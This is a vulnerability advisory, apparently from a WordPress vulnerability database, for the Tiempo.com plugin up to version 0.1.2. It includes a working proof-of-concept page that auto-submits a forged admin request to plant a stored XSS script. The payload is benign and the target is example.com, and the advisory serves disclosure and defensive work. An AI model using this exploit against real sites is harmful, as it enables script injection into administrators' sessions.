Tiempo.com <= 0.1.2 – Stored XSS via CSRF

Description

The plugin does not have CSRF check when creating and editing its shortcode, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php&action=new" method="POST">
      <input type="hidden" name="page" value="tiempocom/app/admin.php" />
      <input type="hidden" name="title" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="language" value="en" />
      <input type="hidden" name="continent" value="8" />
      <input type="hidden" name="country" value="208" />
      <input type="hidden" name="location" value="12325" />
      <input type="hidden" name="location_label" value="Base Amundsen-Scott del Polo Sur" />
      <input type="hidden" name="location_link" value="https://www.tiempo.com/base-amundsen-scott-del-polo-sur.htm" />
      <input type="hidden" name="province_type" value="4" />
      <input type="hidden" name="time" value="5" />
      <input type="hidden" name="format" value="1" />
      <input type="hidden" name="temperature_format" value="0" />
      <input type="hidden" name="wind_format" value="0" />
      <input type="hidden" name="rain_format" value="0" />
      <input type="hidden" name="style" value="1" />
      <input type="hidden" name="marquee" value="#000000" />
      <input type="hidden" name="background" value="#FFFFFF" />
      <input type="hidden" name="text" value="#808080" />
      <input type="hidden" name="max" value="#FF0000" />
      <input type="hidden" name="min" value="#0000FF" />
      <input type="hidden" name="font" value="1" />
      <input type="hidden" name="save" value="Save" />
      <input type="hidden" name="action" value="-1" />
      <input type="hidden" name="paged" value="1" />
      <input type="hidden" name="action2" value="-1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>